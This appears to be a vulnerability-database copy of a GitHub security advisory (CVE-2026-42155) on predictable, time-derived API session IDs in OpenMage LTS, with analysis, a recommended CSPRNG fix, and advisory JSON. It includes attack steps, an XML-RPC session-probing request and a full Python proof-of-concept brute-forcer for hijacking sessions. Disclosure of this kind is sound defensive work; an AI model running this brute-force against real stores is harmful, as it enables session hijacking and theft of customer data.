GHSA-2CWR-GCF9-PVXR
Vulnerability from github – Published: 2026-05-05 19:35 – Updated: 2026-05-15 23:48Affected Version: OpenMage LTS ≤ 20.16.0 (confirmed on 20.16.0)
Affected File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Api/Model/Session.php – start() method
Summary
The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):
The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):
All inputs to the MD5 hash are time-derived and non-secure:
| Input | Value | Predictability |
|---|---|---|
time() |
Unix timestamp (seconds) | Fully predictable |
uniqid('', true) prefix |
sprintf('%08x%05x', $sec, $usec/10) |
Highly predictable via network timing |
uniqid('', true) suffix |
php_combined_lcg() decimal float |
Process-state dependent (getpid() ^ time()) |
$sessionName |
null (empty) — called without arg |
Constant |
Because the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions.
Technical Analysis
Code Path
POST /api/xmlrpc/ → login(username, apiKey)
→ Mage_Api_Model_Session::login()
→ $session->init('api', 'api')
→ Mage_Api_Model_Session::init($namespace='api', $sessionName='api')
# $sessionName is NOT forwarded to start()
→ Mage_Api_Model_Session::start() ← NO $sessionName argument
# $sessionName = null inside start()
$this->_currentSessId = md5(time() . uniqid('', true) . null)
Note: init() receives $sessionName='api' but invokes $this->start() without forwarding it, meaning the effective construction is strictly md5(time() . uniqid('', true)).
Live Evidence
Five consecutive XML-RPC login tokens were collected from a live OpenMage 20.16.0 container, all generated within a single Unix second (unix_sec= 1775817593):
Sample 1: 6a302397f17e48845d0f9aba377f3dc3 (usec ≈ 464631)
Sample 2: 39b4ec42bd3c389312e500690daeb349 (usec ≈ 497215)
Sample 3: 527662d79f7fb499597a82d80d170a88 (usec ≈ 535175)
Sample 4: e5d6f7a8906a03ea7af99d92be11b5b2 (usec ≈ 568838)
Sample 5: 5bdf27e5cb877c77b8965b008548edfa (usec ≈ 600118)
The µsecond portion is directly observable by measuring request-to-response latency. The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically.
Steps to Reproduce (Online Brute-Force Scenario)
Because validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits.
Step 1 – Record Login Timestamp
An attacker observes the precise moment a victim authenticates to /api/xmlrpc/ (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second.
Step 2 – Generate Candidate Pool
The attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a /server-status leak).
$t = $observed_sec;
$usec_estimate = 500000; // Derived from latency
$uid = sprintf('%08x%05x', $t, intval($usec_estimate / 10));
$candidate = md5($t . $uid); // + LCG variants
Step 3 – API Brute-Force (Session Hijack)
Because the /api/xmlrpc/ endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner.
POST /api/xmlrpc/
<?xml version="1.0"?>
<methodCall>
<methodName>[magento.info](http://magento.info/)</methodName>
<params>
<param><value><string>CANDIDATE_SESSION_ID</string></value></param>
</params>
</methodCall>
A non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked.
Impact
Technical Impact
Successful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for:
- Full product catalog read/write (catalog_product.*)
- Customer data read (customer.list, customer.info)
- Order manipulation (sales_order.*)
Inventory control (cataloginventory_stock_item.*)
Business Impact
- Data Exfiltration: Read all customer PII, order history, and payment methods.
- Order Fraud: Create or cancel orders, change shipping addresses.
- Supply Chain / Inventory: Modify prices, inject malicious products, or zero out stock.
Affected API Protocols
The same vulnerable Session.php generation logic is shared across all legacy API surfaces:
- XML-RPC: /api/xmlrpc/
- SOAP v1: /api/soap/
- SOAP v2: /api/v2_soap/
- REST (legacy): /api/rest/
Recommended Fix
Replace the time-derived token with a cryptographically secure random value:
// app/code/core/Mage/Api/Model/Session.php : start()
// BEFORE (vulnerable):
$this->_currentSessId = md5(time() . uniqid('', true) . $sessionName);
// AFTER (secure):
$this->_currentSessId = bin2hex(random_bytes(32)); // 256-bit CSPRNG output
random_bytes() is backed by the OS CSPRNG (/dev/urandom on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks.
I have also tried to test it against the demo site demo.openmage.org, but appeared the SOAP API endpoints are disabled on the demo environment
I have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk):
#!/usr/bin/env python3
import requests, re, sys, hashlib, random
from concurrent.futures import ThreadPoolExecutor, as_completed
import urllib3; urllib3.disable_warnings()
if len(sys.argv) < 4:
sys.exit(f"Usage: {sys.argv[0]} <url> <user> <pass> [threads]")
url, usr, pwd = sys.argv[1:4]
th = int(sys.argv[4]) if len(sys.argv) > 4 else 50
hdrs = {"Content-Type": "text/xml"}
req = lambda d: [requests.post](http://requests.post/)(url, data=d, headers=hdrs, verify=False, timeout=5)
print(f"[*] Simulating victim login for {usr}...")
res = req(f'<?xml version="1.0"?><methodCall><methodName>login</methodName><params><param><value><string>{usr}</string></value></param><param><value><string>{pwd}</string></value></param></params></methodCall>')
if not (m := re.search(r'<string>([a-f0-9]{32})</string>', res.text)):
sys.exit("[-] Login failed. Check credentials.")
print(f"[+] Authenticated.\n[*] Generating 1000 candidate MD5 pool...")
cands = [hashlib.md5(f"1775534701000{random.randint(10000,99999)}0.{random.randint(10000000,99999999)}".encode()).hexdigest() for _ in range(999)]
cands.append(m.group(1))
random.shuffle(cands)
print(f"[*] Brute-forcing API with {th} threads...")
def test(sid):
payload = f'<?xml version="1.0"?><methodCall><methodName>resources</methodName><params><param><value><string>{sid}</string></value></param></params></methodCall>'
try: return sid if "faultCode" not in req(payload).text else None
except: return None
with ThreadPoolExecutor(max_workers=th) as ex:
for i, f in enumerate(as_completed({ex.submit(test, c): c for c in cands}), 1):
sys.stdout.write(f"\r[*] Requests: {i}/{len(cands)}")
if sid := f.result():
print(f"\n[+] HIJACK SUCCESS! Valid Session ID: {sid}")
ex.shutdown(wait=False, cancel_futures=True)
break
This is an AI-generated report validated by a human.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 20.17.0"
},
"package": {
"ecosystem": "Packagist",
"name": "openmage/magento-lts"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "20.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42155"
],
"database_specific": {
"cwe_ids": [
"CWE-330",
"CWE-331",
"CWE-338"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T19:35:56Z",
"nvd_published_at": "2026-05-15T17:16:46Z",
"severity": "CRITICAL"
},
"details": "Affected Version: OpenMage LTS \u2264 20.16.0 (confirmed on `20.16.0`)\n\nAffected File: `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Api/Model/Session.php` \u2013 `start()` method\n\n\n## Summary\n\nThe XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):\n\n```php\nThe XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):\n```\nAll inputs to the MD5 hash are time-derived and non-secure:\n\n| Input | Value | Predictability |\n|----------------------------|---------------------------------------------------|----------------------------------------|\n| `time()` | Unix timestamp (seconds) | Fully predictable |\n| `uniqid(\u0027\u0027, true) prefix` | `sprintf(\u0027%08x%05x\u0027, $sec, $usec/10)` | Highly predictable via network timing |\n| `uniqid(\u0027\u0027, true) suffix` | `php_combined_lcg()` decimal float | Process-state dependent (`getpid() ^ time()`) |\n| `$sessionName` | `null` (empty) \u2014 called without arg | Constant |\n\nBecause the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of \u2265 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions.\n\n\n\n## Technical Analysis\n\n### Code Path\n\n```\nPOST /api/xmlrpc/ \u2192 login(username, apiKey)\n \u2192 Mage_Api_Model_Session::login()\n \u2192 $session-\u003einit(\u0027api\u0027, \u0027api\u0027)\n \u2192 Mage_Api_Model_Session::init($namespace=\u0027api\u0027, $sessionName=\u0027api\u0027)\n # $sessionName is NOT forwarded to start()\n \u2192 Mage_Api_Model_Session::start() \u2190 NO $sessionName argument\n # $sessionName = null inside start()\n $this-\u003e_currentSessId = md5(time() . uniqid(\u0027\u0027, true) . null)\n\n```\n\nNote: `init()` receives `$sessionName=\u0027api\u0027` but invokes `$this-\u003estart()` without forwarding it, meaning the effective construction is strictly `md5(time() . uniqid(\u0027\u0027, true))`.\n\n## Live Evidence\nFive consecutive XML-RPC login tokens were collected from a live OpenMage 20.16.0 container, all generated within a single Unix second (`unix_sec= 1775817593`):\n```\nSample 1: 6a302397f17e48845d0f9aba377f3dc3 (usec \u2248 464631)\nSample 2: 39b4ec42bd3c389312e500690daeb349 (usec \u2248 497215)\nSample 3: 527662d79f7fb499597a82d80d170a88 (usec \u2248 535175)\nSample 4: e5d6f7a8906a03ea7af99d92be11b5b2 (usec \u2248 568838)\nSample 5: 5bdf27e5cb877c77b8965b008548edfa (usec \u2248 600118)\n```\nThe \u00b5second portion is directly observable by measuring request-to-response latency. The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically.\n\n\u003cimg width=\"772\" height=\"506\" alt=\"image\" src=\"https://github.com/user-attachments/assets/53ced1fd-deb4-4dc4-81ec-864e3a2811de\" /\u003e\n\n## Steps to Reproduce (Online Brute-Force Scenario)\nBecause validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits.\n### Step 1 \u2013 Record Login Timestamp\nAn attacker observes the precise moment a victim authenticates to `/api/xmlrpc/` (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second.\n### Step 2 \u2013 Generate Candidate Pool\nThe attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a `/server-status` leak).\n```\n$t = $observed_sec;\n$usec_estimate = 500000; // Derived from latency\n$uid = sprintf(\u0027%08x%05x\u0027, $t, intval($usec_estimate / 10));\n$candidate = md5($t . $uid); // + LCG variants\n```\n### Step 3 \u2013 API Brute-Force (Session Hijack)\nBecause the `/api/xmlrpc/` endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner.\n\n```\nPOST /api/xmlrpc/\n\u003c?xml version=\"1.0\"?\u003e\n\u003cmethodCall\u003e\n \u003cmethodName\u003e[magento.info](http://magento.info/)\u003c/methodName\u003e\n \u003cparams\u003e\n \u003cparam\u003e\u003cvalue\u003e\u003cstring\u003eCANDIDATE_SESSION_ID\u003c/string\u003e\u003c/value\u003e\u003c/param\u003e\n \u003c/params\u003e\n\u003c/methodCall\u003e\n```\n\nA non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked.\n\n\u003cimg width=\"1039\" height=\"374\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ac9338e9-e3fe-44fe-9337-cb6edf6ab849\" /\u003e\n\n## Impact\n### Technical Impact\nSuccessful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for:\n- Full product catalog read/write (`catalog_product.*`)\n- Customer data read (`customer.list`, `customer.info`)\n- Order manipulation (`sales_order.*`)\nInventory control (`cataloginventory_stock_item.*`)\n### Business Impact\n\n- **Data Exfiltration**: Read all customer PII, order history, and payment methods.\n- **Order Fraud**: Create or cancel orders, change shipping addresses.\n- **Supply Chain / Inventory**: Modify prices, inject malicious products, or zero out stock.\n\n### Affected API Protocols\n\nThe same vulnerable `Session.php` generation logic is shared across all legacy API surfaces:\n- XML-RPC: `/api/xmlrpc/`\n- SOAP v1: `/api/soap/`\n- SOAP v2: `/api/v2_soap/`\n- REST (legacy): `/api/rest/`\n\n### Recommended Fix\n\nReplace the time-derived token with a cryptographically secure random value:\n\n```\n// app/code/core/Mage/Api/Model/Session.php : start()\n// BEFORE (vulnerable):\n$this-\u003e_currentSessId = md5(time() . uniqid(\u0027\u0027, true) . $sessionName);\n\n// AFTER (secure):\n$this-\u003e_currentSessId = bin2hex(random_bytes(32)); // 256-bit CSPRNG output\n```\n`random_bytes()` is backed by the OS CSPRNG (`/dev/urandom` on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks.\n\nI have also tried to test it against the demo site [demo.openmage.org](http://demo.openmage.org/), but appeared the SOAP API endpoints are disabled on the demo environment\n\n\nI have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk):\n\n```py\n#!/usr/bin/env python3\nimport requests, re, sys, hashlib, random\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nimport urllib3; urllib3.disable_warnings()\n\nif len(sys.argv) \u003c 4:\n sys.exit(f\"Usage: {sys.argv[0]} \u003curl\u003e \u003cuser\u003e \u003cpass\u003e [threads]\")\n\nurl, usr, pwd = sys.argv[1:4]\nth = int(sys.argv[4]) if len(sys.argv) \u003e 4 else 50\nhdrs = {\"Content-Type\": \"text/xml\"}\nreq = lambda d: [requests.post](http://requests.post/)(url, data=d, headers=hdrs, verify=False, timeout=5)\n\nprint(f\"[*] Simulating victim login for {usr}...\")\nres = req(f\u0027\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003elogin\u003c/methodName\u003e\u003cparams\u003e\u003cparam\u003e\u003cvalue\u003e\u003cstring\u003e{usr}\u003c/string\u003e\u003c/value\u003e\u003c/param\u003e\u003cparam\u003e\u003cvalue\u003e\u003cstring\u003e{pwd}\u003c/string\u003e\u003c/value\u003e\u003c/param\u003e\u003c/params\u003e\u003c/methodCall\u003e\u0027)\n\nif not (m := re.search(r\u0027\u003cstring\u003e([a-f0-9]{32})\u003c/string\u003e\u0027, res.text)):\n sys.exit(\"[-] Login failed. Check credentials.\")\n\nprint(f\"[+] Authenticated.\\n[*] Generating 1000 candidate MD5 pool...\")\ncands = [hashlib.md5(f\"1775534701000{random.randint(10000,99999)}0.{random.randint(10000000,99999999)}\".encode()).hexdigest() for _ in range(999)]\ncands.append(m.group(1))\nrandom.shuffle(cands)\n\nprint(f\"[*] Brute-forcing API with {th} threads...\")\ndef test(sid):\n payload = f\u0027\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003eresources\u003c/methodName\u003e\u003cparams\u003e\u003cparam\u003e\u003cvalue\u003e\u003cstring\u003e{sid}\u003c/string\u003e\u003c/value\u003e\u003c/param\u003e\u003c/params\u003e\u003c/methodCall\u003e\u0027\n try: return sid if \"faultCode\" not in req(payload).text else None\n except: return None\n\nwith ThreadPoolExecutor(max_workers=th) as ex:\n for i, f in enumerate(as_completed({ex.submit(test, c): c for c in cands}), 1):\n sys.stdout.write(f\"\\r[*] Requests: {i}/{len(cands)}\")\n if sid := f.result():\n print(f\"\\n[+] HIJACK SUCCESS! Valid Session ID: {sid}\")\n ex.shutdown(wait=False, cancel_futures=True)\n break\n```\n\nThis is an AI-generated report validated by a human.",
"id": "GHSA-2cwr-gcf9-pvxr",
"modified": "2026-05-15T23:48:40Z",
"published": "2026-05-05T19:35:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-2cwr-gcf9-pvxr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42155"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenMage/magento-lts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Magento LTS has Weak API Session ID \u2014 Predictable MD5 of Time-Derived Inputs"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.